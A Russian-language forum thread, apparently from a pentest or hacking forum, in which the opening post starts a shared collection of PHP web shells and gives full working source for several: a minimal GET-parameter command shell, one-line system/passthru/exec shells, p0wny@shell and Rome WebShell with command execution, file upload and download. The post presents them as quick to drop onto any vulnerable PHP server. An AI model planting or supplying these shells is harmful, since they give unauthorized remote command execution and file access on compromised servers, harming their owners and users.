rootty
Active member
- Регистрация
- 1 Фев 2025
- Сообщения
- 25
- Реакции
- 2
Давно пора появиться на форуме теме, в рамках которой собираем максимальную коллекцию веб-шеллов. Идея не моя, в данном случае просто топикстартер. Смысл простой: каждый отдельный форумчанен обитает в своем информационном пузыре, использует привычне для себя инструменты. Другие форумчане могут и не догадываться о существовании каких-то специфических или просто более удобных вариантов. Кроме того, тема пентеста, как бы там ни было, имеет серый налет, а значит может блокироваться площадками или самими авторами. Поэтому есть смысл сохранить, пока существует такая возможнсость. Да и просто приятно, когда можешь зайти на любимый форум и быстро найти нужное решение.
Добавлять свои варианты может каждый участник сообщества. Далее, я или модераторы, переносим эти вэб-шеллы в первые сообщения. Для этого резервирую первые пять комментариев. На форуме есть объективные ограничения, которые мы не можем обойти, поэтому такой резерв.
Как добавить свой веб-шелл?
1. Проверьте, чтобы он не был дублем
2. Убедитесь, что шелл не содержит в себе бэкдоров и каких-то закладок. Нужно быть джентельменами. Добавляйте код автора.
3. Сделайте скриншот веб-шелла в работе и прикрепите его к сообщению (вставьте картинку, чтобы она загрузилась на форум, а не подгружалась с другого ресурса)
4. Укажите точные версии программного обеспечения с которым может работать шелл. Например, PHP 7.4. Указывайте все важные условия
5. Добавьте описание. Опишите что умеет веб-шелл.
6. Код веб-шелла оформляем в теги для кода в спойлере
Ниже шеллы добавлены для примера:
Easy PHP Web Shell
По и версии: PHP 4.*, PHP 5.*, PHP 7.*, PHP 8.*
Описание:
Простейший PHP веб-шелл с незатейливым интерфейсом. Удобен тем, что можно оперативно создать на любом уязвимом веб-сервере с поддержкой PHP. Поддерживает вывод ошибок через перенаправление STDERR на STDOUT. Команда передается через GET-параметр "cmd".
Вариации однострочных веб-шеллов
Ниже приведены вариации простых однострочных шеллов, обфусцированных и нет.
По и версии: PHP 5.3+
Описание:
p0wny@shell:~# — это очень простая однофайловая оболочка PHP. Его можно использовать для быстрого выполнения команд на сервере при тестировании PHP-приложения. Используйте его с осторожностью: этот сценарий представляет угрозу безопасности сервера.
Функции:
1. Полностью интерактивный файловый менеджер
2. Выполняет команды без необходимости кодировать в URI
3. Поддерживает загрузку файлов
4. Написан на PHP+JS+CSS, без библиотек
5. Поддерживает защиту паролем
Добавлять свои варианты может каждый участник сообщества. Далее, я или модераторы, переносим эти вэб-шеллы в первые сообщения. Для этого резервирую первые пять комментариев. На форуме есть объективные ограничения, которые мы не можем обойти, поэтому такой резерв.
Как добавить свой веб-шелл?
1. Проверьте, чтобы он не был дублем
2. Убедитесь, что шелл не содержит в себе бэкдоров и каких-то закладок. Нужно быть джентельменами. Добавляйте код автора.
3. Сделайте скриншот веб-шелла в работе и прикрепите его к сообщению (вставьте картинку, чтобы она загрузилась на форум, а не подгружалась с другого ресурса)
4. Укажите точные версии программного обеспечения с которым может работать шелл. Например, PHP 7.4. Указывайте все важные условия
5. Добавьте описание. Опишите что умеет веб-шелл.
6. Код веб-шелла оформляем в теги для кода в спойлере
Ниже шеллы добавлены для примера:
Easy PHP Web Shell
По и версии: PHP 4.*, PHP 5.*, PHP 7.*, PHP 8.*
Описание:
Простейший PHP веб-шелл с незатейливым интерфейсом. Удобен тем, что можно оперативно создать на любом уязвимом веб-сервере с поддержкой PHP. Поддерживает вывод ошибок через перенаправление STDERR на STDOUT. Команда передается через GET-параметр "cmd".
PHP:
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd'] . ' 2>&1');
}
?>
</pre>
</body>
</html>
Вариации однострочных веб-шеллов
Ниже приведены вариации простых однострочных шеллов, обфусцированных и нет.
PHP:
<?php echo passthru($_GET['cmd']); ?>
PHP:
<?php echo exec($_POST['cmd']); ?>
PHP:
<?php system($_GET['cmd']); ?>
PHP:
<?php passthru($_REQUEST['cmd']); ?>
p0wny@shell:~#
Вы должны быть зарегистрированы для просмотра вложений
По и версии: PHP 5.3+
Описание:
p0wny@shell:~# — это очень простая однофайловая оболочка PHP. Его можно использовать для быстрого выполнения команд на сервере при тестировании PHP-приложения. Используйте его с осторожностью: этот сценарий представляет угрозу безопасности сервера.
Функции:
- История команд (с помощью клавиш со стрелками ↑ ↓)
- Автодополнение имен команд и файлов (с помощью Tab ключ)
- Перейдите в удаленную файловую систему (используя cd команда)
- Загрузите файл на сервер (используя upload <destination_file_name> команда)
- Загрузите файл с сервера (используя download <file_name> команда)
PHP:
<?php
$SHELL_CONFIG = array(
'username' => 'p0wny',
'hostname' => 'shell',
);
function expandPath($path) {
if (preg_match("#^(~[a-zA-Z0-9_.-]*)(/.*)?$#", $path, $match)) {
exec("echo $match[1]", $stdout);
return $stdout[0] . $match[2];
}
return $path;
}
function allFunctionExist($list = array()) {
foreach ($list as $entry) {
if (!function_exists($entry)) {
return false;
}
}
return true;
}
function executeCommand($cmd) {
$output = '';
if (function_exists('exec')) {
exec($cmd, $output);
$output = implode("\n", $output);
} else if (function_exists('shell_exec')) {
$output = shell_exec($cmd);
} else if (allFunctionExist(array('system', 'ob_start', 'ob_get_contents', 'ob_end_clean'))) {
ob_start();
system($cmd);
$output = ob_get_contents();
ob_end_clean();
} else if (allFunctionExist(array('passthru', 'ob_start', 'ob_get_contents', 'ob_end_clean'))) {
ob_start();
passthru($cmd);
$output = ob_get_contents();
ob_end_clean();
} else if (allFunctionExist(array('popen', 'feof', 'fread', 'pclose'))) {
$handle = popen($cmd, 'r');
while (!feof($handle)) {
$output .= fread($handle, 4096);
}
pclose($handle);
} else if (allFunctionExist(array('proc_open', 'stream_get_contents', 'proc_close'))) {
$handle = proc_open($cmd, array(0 => array('pipe', 'r'), 1 => array('pipe', 'w')), $pipes);
$output = stream_get_contents($pipes[1]);
proc_close($handle);
}
return $output;
}
function isRunningWindows() {
return stripos(PHP_OS, "WIN") === 0;
}
function featureShell($cmd, $cwd) {
$stdout = "";
if (preg_match("/^\s*cd\s*(2>&1)?$/", $cmd)) {
chdir(expandPath("~"));
} elseif (preg_match("/^\s*cd\s+(.+)\s*(2>&1)?$/", $cmd)) {
chdir($cwd);
preg_match("/^\s*cd\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
chdir(expandPath($match[1]));
} elseif (preg_match("/^\s*download\s+[^\s]+\s*(2>&1)?$/", $cmd)) {
chdir($cwd);
preg_match("/^\s*download\s+([^\s]+)\s*(2>&1)?$/", $cmd, $match);
return featureDownload($match[1]);
} else {
chdir($cwd);
$stdout = executeCommand($cmd);
}
return array(
"stdout" => base64_encode($stdout),
"cwd" => base64_encode(getcwd())
);
}
function featurePwd() {
return array("cwd" => base64_encode(getcwd()));
}
function featureHint($fileName, $cwd, $type) {
chdir($cwd);
if ($type == 'cmd') {
$cmd = "compgen -c $fileName";
} else {
$cmd = "compgen -f $fileName";
}
$cmd = "/bin/bash -c \"$cmd\"";
$files = explode("\n", shell_exec($cmd));
foreach ($files as &$filename) {
$filename = base64_encode($filename);
}
return array(
'files' => $files,
);
}
function featureDownload($filePath) {
$file = @file_get_contents($filePath);
if ($file === FALSE) {
return array(
'stdout' => base64_encode('File not found / no read permission.'),
'cwd' => base64_encode(getcwd())
);
} else {
return array(
'name' => base64_encode(basename($filePath)),
'file' => base64_encode($file)
);
}
}
function featureUpload($path, $file, $cwd) {
chdir($cwd);
$f = @fopen($path, 'wb');
if ($f === FALSE) {
return array(
'stdout' => base64_encode('Invalid path / no write permission.'),
'cwd' => base64_encode(getcwd())
);
} else {
fwrite($f, base64_decode($file));
fclose($f);
return array(
'stdout' => base64_encode('Done.'),
'cwd' => base64_encode(getcwd())
);
}
}
function initShellConfig() {
global $SHELL_CONFIG;
if (isRunningWindows()) {
$username = getenv('USERNAME');
if ($username !== false) {
$SHELL_CONFIG['username'] = $username;
}
} else {
$pwuid = posix_getpwuid(posix_geteuid());
if ($pwuid !== false) {
$SHELL_CONFIG['username'] = $pwuid['name'];
}
}
$hostname = gethostname();
if ($hostname !== false) {
$SHELL_CONFIG['hostname'] = $hostname;
}
}
if (isset($_GET["feature"])) {
$response = NULL;
switch ($_GET["feature"]) {
case "shell":
$cmd = $_POST['cmd'];
if (!preg_match('/2>/', $cmd)) {
$cmd .= ' 2>&1';
}
$response = featureShell($cmd, $_POST["cwd"]);
break;
case "pwd":
$response = featurePwd();
break;
case "hint":
$response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);
break;
case 'upload':
$response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);
}
header("Content-Type: application/json");
echo json_encode($response);
die();
} else {
initShellConfig();
}
?><!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>p0wny@shell:~#</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<style>
html, body {
margin: 0;
padding: 0;
background: #333;
color: #eee;
font-family: monospace;
width: 100vw;
height: 100vh;
overflow: hidden;
}
*::-webkit-scrollbar-track {
border-radius: 8px;
background-color: #353535;
}
*::-webkit-scrollbar {
width: 8px;
height: 8px;
}
*::-webkit-scrollbar-thumb {
border-radius: 8px;
-webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);
background-color: #bcbcbc;
}
#shell {
background: #222;
box-shadow: 0 0 5px rgba(0, 0, 0, .3);
font-size: 10pt;
display: flex;
flex-direction: column;
align-items: stretch;
max-width: calc(100vw - 2 * var(--shell-margin));
max-height: calc(100vh - 2 * var(--shell-margin));
resize: both;
overflow: hidden;
width: 100%;
height: 100%;
margin: var(--shell-margin) auto;
}
#shell-content {
overflow: auto;
padding: 5px;
white-space: pre-wrap;
flex-grow: 1;
}
#shell-logo {
font-weight: bold;
color: #FF4180;
text-align: center;
}
:root {
--shell-margin: 25px;
}
@media (min-width: 1200px) {
:root {
--shell-margin: 50px !important;
}
}
@media (max-width: 991px),
(max-height: 600px) {
#shell-logo {
font-size: 6px;
margin: -25px 0;
}
:root {
--shell-margin: 0 !important;
}
#shell {
resize: none;
}
}
@media (max-width: 767px) {
#shell-input {
flex-direction: column;
}
}
@media (max-width: 320px) {
#shell-logo {
font-size: 5px;
}
}
.shell-prompt {
font-weight: bold;
color: #75DF0B;
}
.shell-prompt > span {
color: #1BC9E7;
}
#shell-input {
display: flex;
box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);
border-top: rgba(255, 255, 255, .05) solid 1px;
padding: 10px 0;
}
#shell-input > label {
flex-grow: 0;
display: block;
padding: 0 5px;
height: 30px;
line-height: 30px;
}
#shell-input #shell-cmd {
height: 30px;
line-height: 30px;
border: none;
background: transparent;
color: #eee;
font-family: monospace;
font-size: 10pt;
width: 100%;
align-self: center;
box-sizing: border-box;
}
#shell-input div {
flex-grow: 1;
align-items: stretch;
}
#shell-input input {
outline: none;
}
</style>
<script>
var SHELL_CONFIG = <?php echo json_encode($SHELL_CONFIG); ?>;
var CWD = null;
var commandHistory = [];
var historyPosition = 0;
var eShellCmdInput = null;
var eShellContent = null;
function _insertCommand(command) {
eShellContent.innerHTML += "\n\n";
eShellContent.innerHTML += '<span class=\"shell-prompt\">' + genPrompt(CWD) + '</span> ';
eShellContent.innerHTML += escapeHtml(command);
eShellContent.innerHTML += "\n";
eShellContent.scrollTop = eShellContent.scrollHeight;
}
function _insertStdout(stdout) {
eShellContent.innerHTML += escapeHtml(stdout);
eShellContent.scrollTop = eShellContent.scrollHeight;
}
function _defer(callback) {
setTimeout(callback, 0);
}
function featureShell(command) {
_insertCommand(command);
if (/^\s*upload\s+[^\s]+\s*$/.test(command)) {
featureUpload(command.match(/^\s*upload\s+([^\s]+)\s*$/)[1]);
} else if (/^\s*clear\s*$/.test(command)) {
// Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer
eShellContent.innerHTML = '';
} else {
makeRequest("?feature=shell", {cmd: command, cwd: CWD}, function (response) {
if (response.hasOwnProperty('file')) {
featureDownload(atob(response.name), response.file)
} else {
_insertStdout(atob(response.stdout));
updateCwd(atob(response.cwd));
}
});
}
}
function featureHint() {
if (eShellCmdInput.value.trim().length === 0) return; // field is empty -> nothing to complete
function _requestCallback(data) {
if (data.files.length <= 1) return; // no completion
data.files = data.files.map(function(file){
return atob(file);
});
if (data.files.length === 2) {
if (type === 'cmd') {
eShellCmdInput.value = data.files[0];
} else {
var currentValue = eShellCmdInput.value;
eShellCmdInput.value = currentValue.replace(/([^\s]*)$/, data.files[0]);
}
} else {
_insertCommand(eShellCmdInput.value);
_insertStdout(data.files.join("\n"));
}
}
var currentCmd = eShellCmdInput.value.split(" ");
var type = (currentCmd.length === 1) ? "cmd" : "file";
var fileName = (type === "cmd") ? currentCmd[0] : currentCmd[currentCmd.length - 1];
makeRequest(
"?feature=hint",
{
filename: fileName,
cwd: CWD,
type: type
},
_requestCallback
);
}
function featureDownload(name, file) {
var element = document.createElement('a');
element.setAttribute('href', 'data:application/octet-stream;base64,' + file);
element.setAttribute('download', name);
element.style.display = 'none';
document.body.appendChild(element);
element.click();
document.body.removeChild(element);
_insertStdout('Done.');
}
function featureUpload(path) {
var element = document.createElement('input');
element.setAttribute('type', 'file');
element.style.display = 'none';
document.body.appendChild(element);
element.addEventListener('change', function () {
var promise = getBase64(element.files[0]);
promise.then(function (file) {
makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {
_insertStdout(atob(response.stdout));
updateCwd(atob(response.cwd));
});
}, function () {
_insertStdout('An unknown client-side error occurred.');
});
});
element.click();
document.body.removeChild(element);
}
function getBase64(file, onLoadCallback) {
return new Promise(function(resolve, reject) {
var reader = new FileReader();
reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };
reader.onerror = reject;
reader.readAsDataURL(file);
});
}
function genPrompt(cwd) {
cwd = cwd || "~";
var shortCwd = cwd;
if (cwd.split("/").length > 3) {
var splittedCwd = cwd.split("/");
shortCwd = "…/" + splittedCwd[splittedCwd.length-2] + "/" + splittedCwd[splittedCwd.length-1];
}
return SHELL_CONFIG["username"] + "@" + SHELL_CONFIG["hostname"] + ":<span title=\"" + cwd + "\">" + shortCwd + "</span>#";
}
function updateCwd(cwd) {
if (cwd) {
CWD = cwd;
_updatePrompt();
return;
}
makeRequest("?feature=pwd", {}, function(response) {
CWD = atob(response.cwd);
_updatePrompt();
});
}
function escapeHtml(string) {
return string
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">");
}
function _updatePrompt() {
var eShellPrompt = document.getElementById("shell-prompt");
eShellPrompt.innerHTML = genPrompt(CWD);
}
function _onShellCmdKeyDown(event) {
switch (event.key) {
case "Enter":
featureShell(eShellCmdInput.value);
insertToHistory(eShellCmdInput.value);
eShellCmdInput.value = "";
break;
case "ArrowUp":
if (historyPosition > 0) {
historyPosition--;
eShellCmdInput.blur();
eShellCmdInput.value = commandHistory[historyPosition];
_defer(function() {
eShellCmdInput.focus();
});
}
break;
case "ArrowDown":
if (historyPosition >= commandHistory.length) {
break;
}
historyPosition++;
if (historyPosition === commandHistory.length) {
eShellCmdInput.value = "";
} else {
eShellCmdInput.blur();
eShellCmdInput.focus();
eShellCmdInput.value = commandHistory[historyPosition];
}
break;
case 'Tab':
event.preventDefault();
featureHint();
break;
}
}
function insertToHistory(cmd) {
commandHistory.push(cmd);
historyPosition = commandHistory.length;
}
function makeRequest(url, params, callback) {
function getQueryString() {
var a = [];
for (var key in params) {
if (params.hasOwnProperty(key)) {
a.push(encodeURIComponent(key) + "=" + encodeURIComponent(params[key]));
}
}
return a.join("&");
}
var xhr = new XMLHttpRequest();
xhr.open("POST", url, true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.onreadystatechange = function() {
if (xhr.readyState === 4 && xhr.status === 200) {
try {
var responseJson = JSON.parse(xhr.responseText);
callback(responseJson);
} catch (error) {
alert("Error while parsing response: " + error);
}
}
};
xhr.send(getQueryString());
}
document.onclick = function(event) {
event = event || window.event;
var selection = window.getSelection();
var target = event.target || event.srcElement;
if (target.tagName === "SELECT") {
return;
}
if (!selection.toString()) {
eShellCmdInput.focus();
}
};
window.onload = function() {
eShellCmdInput = document.getElementById("shell-cmd");
eShellContent = document.getElementById("shell-content");
updateCwd();
eShellCmdInput.focus();
};
</script>
</head>
<body>
<div id="shell">
<pre id="shell-content">
<div id="shell-logo">
___ ____ _ _ _ _ _ <span></span>
_ __ / _ \__ ___ __ _ _ / __ \ ___| |__ ___| | |_ /\/|| || |_ <span></span>
| '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_ .. _|<span></span>
| |_) | |_| |\ V V /| | | | |_| | | (_| \__ \ | | | __/ | |_ |_ _|<span></span>
| .__/ \___/ \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_) |_||_| <span></span>
|_| |___/ \____/ <span></span>
</div>
</pre>
<div id="shell-input">
<label for="shell-cmd" id="shell-prompt" class="shell-prompt">???</label>
<div>
<input id="shell-cmd" name="cmd" onkeydown="_onShellCmdKeyDown(event)"/>
</div>
</div>
</div>
</body>
</html>
Rome WebShell
Вы должны быть зарегистрированы для просмотра вложений
1. Полностью интерактивный файловый менеджер
2. Выполняет команды без необходимости кодировать в URI
3. Поддерживает загрузку файлов
4. Написан на PHP+JS+CSS, без библиотек
5. Поддерживает защиту паролем
PHP:
<!--
@author Caesarovich
@repository https://github.com/Caesarovich/rome-webshell
This code is for educationnal purposes only.
Malicious usage of this code will not hold the author responsible.
Do not pentest without explicit permissions.
-->
<?php
// Password protection, useful for King of The Hill games
$pass=''; // Set to null to disable; Set to string to enable, must be the sha512 hash of the password.
if($pass != null) {
if (isset($_COOKIE['pass'])) { // We use cookies and not url parameter for security reasons
// As it is likely that URL parameters are logged by the webserver, thus revealing the password
if (hash('sha512', $_COOKIE['pass']) !== $pass) {
echo "Wrong password !";
exit;
}
} else {
echo "Wrong password !";
exit;
}
}
?>
<?php
// Upload file to the server
if (isset($_POST['upload'])) {
$desinationDir = getDir();
$destinationFile = $desinationDir.'/'.basename($_FILES['file']['name']);
if (file_exists($destinationFile)) {
echo "<script>alert('Error: File already exists !')</script>";
}
else if (move_uploaded_file($_FILES['file']['tmp_name'], $destinationFile)) {
echo "<script>alert('File uploaded successfuly !')</script>";
} else {
echo "<script>alert('Error: Could not upload file !')</script>";
}
}
?>
<?php
// Download a file from the server
if (isset($_GET['download'])) {
$file = $_GET['download'];
if (file_exists($file)) {
if (is_readable($file)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($file).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: '.filesize($file));
readfile($file);
exit;
} else {
echo "<script>alert('Error: Could not read the file !')</script>";
exit;
}
}
}
?>
<?php
function printPerms($file) {
$mode = fileperms($file);
if( $mode & 0x1000 ) { $type='p'; }
else if( $mode & 0x2000 ) { $type='c'; }
else if( $mode & 0x4000 ) { $type='d'; }
else if( $mode & 0x6000 ) { $type='b'; }
else if( $mode & 0x8000 ) { $type='-'; }
else if( $mode & 0xA000 ) { $type='l'; }
else if( $mode & 0xC000 ) { $type='s'; }
else $type='u';
$owner["read"] = ($mode & 00400) ? 'r' : '-';
$owner["write"] = ($mode & 00200) ? 'w' : '-';
$owner["execute"] = ($mode & 00100) ? 'x' : '-';
$group["read"] = ($mode & 00040) ? 'r' : '-';
$group["write"] = ($mode & 00020) ? 'w' : '-';
$group["execute"] = ($mode & 00010) ? 'x' : '-';
$world["read"] = ($mode & 00004) ? 'r' : '-';
$world["write"] = ($mode & 00002) ? 'w' : '-';
$world["execute"] = ($mode & 00001) ? 'x' : '-';
if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
$s=sprintf("%1s", $type);
$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
return $s;
}
function formatSizeUnits($bytes) {
if ($bytes >= 1073741824)
{
$bytes = number_format($bytes / 1073741824, 2) . ' GB';
}
elseif ($bytes >= 1048576)
{
$bytes = number_format($bytes / 1048576, 2) . ' MB';
}
elseif ($bytes >= 1024)
{
$bytes = number_format($bytes / 1024, 2) . ' KB';
}
elseif ($bytes > 1)
{
$bytes = $bytes . ' bytes';
}
elseif ($bytes == 1)
{
$bytes = $bytes . ' byte';
}
else
{
$bytes = '0 bytes';
}
return $bytes;
}
function getDir() {
return isset($_GET['dir']) ? realpath($_GET['dir']) : getcwd();
}
function makeFileName($file) {
if (is_dir(getDir().'/'.$file)) {
return '<a href="'.$_SERVER['PHP_SELF'].'?dir='.realpath(getDir().'/'.$file).'">'.$file.'</a>';
} else {
return '<a href="'.$_SERVER['PHP_SELF'].'?download='.realpath(getDir().'/'.$file).'">'.$file.'</a>';
}
}
function getFiles() {
$files = scandir(getDir());
$even = true;
if ($files != null) {
foreach($files as $filename){
//Simply print them out onto the screen.
echo '<tr style="background-color:'.($even ? '#515151' : '#414141').';">';
echo '<td style="font-weight:'.(is_dir(getDir().'/'.$filename) ? 'bold' : 'thin').';">'.makeFileName($filename).'</td>';
echo '<td>'.posix_getpwuid(fileowner(getDir().'/'.$filename))['name'].'</td>';
echo '<td>'.printPerms(getDir().'/'.$filename).'</td>';
echo '<td>'.formatSizeUnits(filesize(getDir().'/'.$filename)).'</td>';
echo '</tr>';
$even = !$even;
}
} else {
echo "<p>Couldn't open that directory !";
}
}
function getCmdResults() {
global $cmdresults;
global $retval;
if ($retval == 0 ) {
foreach ($cmdresults as $line) {
echo "$line \n<br>";
}
} else {
echo "Execution failed with error code: ".$retval;
}
}
function getCommandLine() {
$hostname = gethostname() ?? 'none';
$username = posix_getpwuid(posix_geteuid())['name'];
$dir = getDir();
$cmd = isset($_GET['cmd']) ? $_GET['cmd'] : 'No command';
return '<span style="color: #19c42a">'.$username.'@'.$hostname.'</span>: <span style="color: #0f7521">'.$dir.'</span>$ '.$cmd;
}
?>
<?php
// Execute a command on the server
$cmdresults;
$retval=null;
if (isset($_GET['cmd'])) {
exec('cd '.realpath(getDir()).' && '.$_GET['cmd'], $cmdresults, $retval);
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Rome WebShell</title>
<script>
function changeDir() {
const url = '<?php echo $_SERVER['PHP_SELF'].'?dir='?>';
const path = window.prompt("Enter the path you want to naviguate to (Eg: '/home/user'): ");
if (path) window.location = (url + path);
}
</script>
<script>
const popupHTML = `
<div class="popup-container" id="upload-popup">
<div class="popup">
<h4>Choose a file to upload</h4>
<form action="<?php echo $_SERVER['PHP_SELF'].'?dir='.getDir()?>" method="POST" enctype="multipart/form-data">
<input type="file" name='file' id='file' required>
<div class="popup-buttons">
<button type="button" onclick="hidePopup()">Cancel</button>
<input type="submit" value="Upload" name="upload">
</div>
</form>
</div>
</div>
`;
function showPopup() {
const body = document.getElementsByTagName('body')[0];
const bodyHTML = body.innerHTML;
body.innerHTML = popupHTML + bodyHTML;
}
function hidePopup() {
const body = document.getElementsByTagName('body')[0];
body.removeChild(body.getElementsByClassName('popup-container')[0]);
}
</script>
</head>
<body class="body-container">
<header>
<nav>
<h1>> Rome Shell</h1>
<div class="nav-items">
<a onclick="showPopup()">Upload file</a>
<a onclick="changeDir()">Change Directory</a>
</div>
</nav>
</header>
<div class="content-container">
<div class="explorer-panel">
<h4>Exploring: <?php echo getDir()?></h4>
<table>
<tr style="background-color:#292929;">
<th>Folder / <span style="font-weight: lighter;">File</span></th>
<th>Owner</th>
<th>Permissions</th>
<th>Size</th>
</tr>
<?php getFiles()?>
</table>
</div>
<div class="command-panel">
<div class="command-output">
<p><?php echo getCommandLine()?></p>
<p><?php getCmdResults()?></p>
</div>
<form id="command-input" action="<?php echo $_SERVER['PHP_SELF']?>" method="get">
<input type="text" name="cmd">
<input type="hidden" name="dir" value="<?php echo getDir()?>"/>
<button action="submit">
<p>Send</p>
</button>
</form>
</div>
</div>
<style>
:root {
--background-color-1: #101010;
--background-color-2: #202020;
--background-color-3: #303030;
--background-color-4: #404040;
--primary-color: #0e9c15;
--secondary-color: #0f7521;
}
html, body {
width: 100%;
height: 100%;
margin: 0;
padding: 0;
background-color: var(--background-color-2);
}
.body-container {
display: grid;
grid-template-rows: 50px calc(100% - 50px);
}
header {
z-index:1;
background-color: var(--primary-color);
box-shadow: 0px 2px 6px black;
}
header nav {
height: 100%;
display: flex;
justify-content: flex-start;
color: white;
font-family: Arial, Helvetica, sans-serif;
}
header h1 {
height: 100%;
margin: 0;
margin-left: 20px;
text-align: center;
line-height: 50px;
font-size: 40px;
}
header .nav-items {
height: 100%;
width: auto;
margin: 0;
display: flex;
flex-grow: 1;
justify-content: flex-end;
}
header .nav-items a {
height: 100%;
margin-right: 30px;
color: white;
font-size: 25px;
text-decoration: none;
line-height: 50px;
text-align:center;
transition: ease-in 0.2s;
}
header .nav-items a:hover {
color: #d0d0d0;
cursor: pointer;
}
.content-container {
height: 100%;
position: relative;
display: grid;
grid-template-columns: 30% 70%;
}
.explorer-panel {
background-color: var(--background-color-3);
font-family: 'Trebuchet MS', 'Lucida Sans Unicode', 'Lucida Grande', 'Lucida Sans', Arial, sans-serif;
overflow-y: scroll;
scrollbar-color: var(--background-color-4) var(--background-color-3);
scrollbar-width: thin;
box-shadow: 0px 0px 4px black;
padding: 3px;
}
.explorer-panel h4 {
margin: 10px;
font-size: 20px;
}
.explorer-panel table {
width: 100%;
word-wrap: break-word;
border-spacing: 2px;
table-layout: fixed;
background-color: var(--background-color-2);
}
.explorer-panel table td {
padding: 1px 2px;
}
.explorer-panel table a {
color: var(--primary-color);
text-decoration: none;
}
.explorer-panel table a:hover {
color: var(--secondary-color);
transition: ease 0.2s;
}
.command-panel {
margin: 20px;
padding: 15px;
border-radius: 5px;
background-color: var(--background-color-3);
display: grid;
grid-template-rows: 93% calc(7% - 15px);
row-gap: 15px;
box-shadow: 0px 0px 6px black;
}
.command-output {
padding: 5px;
border-radius: 5px;
background-color: var(--background-color-1);
overflow-y: scroll;
scrollbar-color: var(--background-color-4) var(--background-color-3);
scrollbar-width: thin;
}
.command-output p {
margin: 0px;
font-family: 'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif;
}
#command-input {
display: grid;
grid-template-columns: 89% 10%;
grid-template-rows: 100%;
column-gap: 1%;
}
#command-input input{
height: 100%;
width: 100%;
border-radius: 5px;
border: none;
background-color: var(--background-color-2);
color: white;
font-size: 200%;
}
#command-input button{
height: 100%;
width: 100%;
border: none;
border-radius: 5px;
background-color: var(--background-color-4);
cursor: pointer;
}
#command-input button:hover{
background-color: var(--primary-color);
transition: ease-in-out 0.3s;
}
#command-input button p{
margin:0;
color: white;
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
font-size: 150%;
font-weight: bolder;
line-height: 100%;
}
.popup-container {
z-index: 5;
position: fixed;
background-color: rgba(10,10,10, 0.6);
width: 100%;
height: 100%;
display: grid;
justify-content: center;
align-content: center;
grid-template-columns: 30%;
grid-template-rows: 35%;
}
.popup {
background-color: var(--background-color-3);
border-radius: 5px;
box-shadow: 0px 2px 6px black;
display: grid;
grid-template-rows: 20% 70%;
row-gap: 10%;
padding: 2.5%;
}
.popup h4{
text-align: center;
font-family: 'Courier New', Courier, monospace;
font-size: 23px;
}
.popup form {
display: grid;
grid-template-rows: 80% 20%;
grid-template-columns: 95%;
justify-content: center;
align-content: center;
}
.popup-buttons {
height: 100%;
display: inline-flex;
flex-wrap: wrap;
gap: 10%;
}
.popup-buttons button {
width: 45%;
background-color: var(--background-color-4);
border-radius: 4px;;
border: none;
font-size: 22px;
color: white;
transition: ease-in 0.2s;
}
.popup-buttons button:hover {
background-color: var(--background-color-2);
cursor: pointer;
}
.popup-buttons input {
width: 45%;
background-color: var(--primary-color);
border-radius: 4px;;
border: none;
font-size: 22px;
color: white;
transition: ease-in 0.2s;
}
.popup-buttons input:hover {
background-color: var(--secondary-color);
cursor: pointer;
}
</style>
</body>
</html>